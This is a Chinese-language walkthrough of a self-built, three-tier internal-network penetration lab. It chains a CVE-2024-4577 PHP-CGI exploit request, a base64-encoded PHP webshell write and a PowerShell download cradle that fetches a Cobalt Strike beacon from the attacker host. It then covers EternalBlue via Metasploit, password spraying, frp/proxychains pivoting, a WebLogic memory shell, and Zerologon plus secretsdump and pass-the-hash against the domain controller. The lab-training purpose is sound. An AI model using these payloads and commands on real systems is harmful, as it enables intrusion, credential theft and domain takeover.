国庆将至,在这里先提前祝各位师傅国庆快乐🎉
乘着中秋和国庆的间隙,打完了这套多层靶场。肝了好久,文章还是平板远连一点点写的(不要问为啥在宿舍不用电脑)。创作不易,还请各位师傅多多支持,你们的反馈就是我们继续坚持下来的动力💪
靶机拓扑搭建

需要准备四个虚拟网段,其中NAT类型的可以用你自己的,没有必要修改。然后其他三个网段参考上图的VMnet1、VMnet2、VMnet3。要注意的是,这里要模拟内网网段,所以这里的“将主机虚拟机适配器连接到此网络”要取消勾选,不然本机还是能ping通虚拟机
Windows Server 2012:


这里是隔离区的web服务器,仅这里需要配置一张NAT网卡,本机可直接访问,用于模拟互联网上的web服务。还有一张网卡就是其在内网网段的ip,要注意两个张网卡不要配反。配置好后进入该虚拟机中启动web服务
Windows 7:

Windows 10:

Windows Server 2012 R2(weblogic 单机):


这是内网中含有weblogic服务的主机,初始化时也要记得启动下服务
Windows Server 2012-WEB:

Windows Server 2016-AD-2016:

最终配置好的内网拓扑如下图,一共有三层

外围打点

arp探活找到web机的ip,老生常谈



然后就是常规的扫端口,漏洞扫描,这里看到能扫出cve-2024-4577,可以直接利用
GET /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: 192.168.247.108
Cache-Control: max-age=0
Sec-Ch-Ua: "Microsoft Edge";v="153", "Not_A Brand";v="8", "Chromium";v="153"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36 Edg/153.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Priority: u=0, i
Connection: keep-alive
Content-Length: 24
<?php system('dir');?>


直接打payload,测试发现这是一台Windows主机(假装才知道😁),并且用户权限为administrator。接下来就是想如何去文件上传/文件写入

先搜索下xampp网站的根目录,找到是htdocs,接下来进行文件写入测试

尝试写入一个test.php文件,但是报错,观察回显信息不难发现,反斜杠把t给转义掉了,这里只需双斜杠就能绕过,下面我们就直接写入一句话木马
<?php $a = "PD89IGV2YWwoJF9QT1NUWydoYWNrZXInXSk7";$a = base64_decode($a);file_put_contents("..\htdocs\\test.php",$a);?>


因为里面的php特殊字符会导致报错,这里我的处理方式就是先base64编码,然后再将解码的值赋给一个参数,然后将该参数的值写入test.php中,最终读取一下确认写入成功


哥斯拉连接,然后就是上线后渗透了。这里我是想练习下vshell的使用,但是后续发现功能没有cs那么齐全,后续也是改用cs了。

用vshell生成回连木马,利用哥斯拉传入目标机,然后运行上线,这里就不再赘述,主要提一下cs的payload上线方式,Attacks → Scripted Web Delivery (S)

<?php system('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://192.168.247.161:8045/aaa\'))"');?>

点击运行,会发现没有回显,但是cs上已经成功上线

内网渗透
第一层内网

传入fscan扫描一下,找到另一台主机,然后再arp查一下发现第三台主机(就是那台win7)。因为这台主机有防火墙,直接ping的话是ping不通的,所以上图的fscan扫描结果中只有两个存活主机,这也是内网主机探活时容易疏忽的一点。

再单独扫一下这台win7,发现存在永恒之蓝漏洞

win7永恒之蓝回连getshell
msf上线:这里需要进行cs和msf的联动,首先我们要把cs上边缘机的权限转发的msf上

先新建一个监听器,选择Foreign http,host填写本地kali的ip,端口随意,然后新建会话,选择改监听器(payload)

msfconsole # 启动msf
use exploit/multi/handler # 使用hanlder模块
set payload window/meterpreter/reverse_http # 与cs中生成的一致
set lhost 192.168.247.161 #本地kali机的ip
set lport 8888
run
kali上进行配置,启动监听,等待一会成功获取边缘机的权限,输入getuid进行验证成功回显

接着run post/multi/manage/autoroute添加下内网的路由,然后执行background退出

使用route print检查下,路由添加成功

接下来就是启动监听,使用的监听机就是边缘机。常规的永恒之蓝payload是直接正向利用,但是这里win7存在防火墙,没法正向利用,所以这里需要一台监听机,让win7回连,通过监听机转发给kali攻击机
启动监听:
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_http
set lhost 192.168.2.3
set lport 8888
exploit -j

目的上面说了,用边缘机做监听,转发win7的请求
攻击上线:
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_http
set rhosts 192.168.2.4
set lhost 192.168.2.3
set lport 8888
run



这里成功拿到win7的shell,接着再次利用边缘机进行转发上线。


生成的木马文件放到kali中,然后利用永恒之蓝的shell传入win7中并执行
upload /home/kali/beacon.exe c:\\shell.exe
execute -f c:\\shell.exe
成功上线
win10密钥喷洒上线
win7上线后抓取下明文密码,然后利用该密码上线该网段的另一台主机
开启一个监听器
选择psexec进行横向移动
成功上线
信息收集一下发现win10有两张网卡,另一张网卡通向下一层内网
第二层内网
多层代理搭建
我尝试使用cs自带的代理,但是没有成功,所以改用frp进行多层代理,配置如下
一级客户端(Win2012):
# frpc.ini(连接VPS)
[common]
tls_enable = true
server_addr = 192.168.247.161
server_port = 7000
[socks5_forward]
type = tcp
remote_port = 1080
plugin = socks5
local_ip = 192.168.2.3
local_port = 10808
二级服务端(Win2012):
# frps.ini
[common]
tls_enable = true
bind_addr = 192.168.2.3
bind_port = 7000
二级客户端(win10):
# frpc.ini
[common]
tls_enable = true
server_addr = 192.168.2.3
server_port = 7000
[socks5]
type = tcp
remote_port = 10808
plugin = socks5
local_ip = 192.168.2.129
local_port = 10809
接着在proxifier中添加服务器链,把两个frp服务端的配置都写进去
这里的代理规则选择Chain test,这样就能够访问到第二层内网中的服务了
winserver2012weblogic漏洞利用
对之前探测到的主机进行端口扫描发现7001端口开放,典型的weblogic服务,直接上工具
这里也是一把梭了直接注入内存马getshell。然后winserver的上线要注意,该主机与win10之间也有防火墙,所以还是得利用win10进行转发上线
成功上线,信息收集下发现也是两张网卡,下面就进入第三层内网的利用
第三层内网
winserver密码喷洒上线
这里探测是存在两个主机,还是先提取下明文密码然后尝试密码喷洒攻击
再新开一个监听器
192.168.10.12这台主机能够上线,还有一台192.168.10.10不行,先看192.168.10.12这台机子:shell net config workstation信息收集发现存在域环境
ping一下dc机发现dc机就是192.168.10.10这台机子
dc机CVE-2020-1472利用
直接使用域控利用的cve去打,这里要用到kali,所以先配置下代理。首先就是二层代理变三层代理,win10做三级服务端,winsever2012做三级客户端,这里举一反三,就不再展示。接着到kali中,添加代理配置
vim /etc/proxychains4.conf
接着最后一行后面添加代理
socks5 192.168.247.161 1080
socks5 192.168.2.3 10808
socks5 192.168.3.8 10809
然后修改下kali中的host文件,添加匹配规则
https://github.com/VoidSec/CVE-2020-1472
根据链接里的操作,下载脚本,安装依赖。接着先进行清空凭证操作:
proxychains4 python cve-2020-1472-exploit.py -n dc -t 192.168.10.10
再进行hash提取操作:
proxychains4 python secretsdump.py -no-pass 'xiaodi.org/DC$@192.168.10.10' -just-dc
找到dc机的管理员密码hash值为a402bea39d0f49b50ea1941120780ee3,然后借助winserver进行hahs传递上线
成功上线,至此所有靶机都已控制,完结撒花,感谢陪伴❤️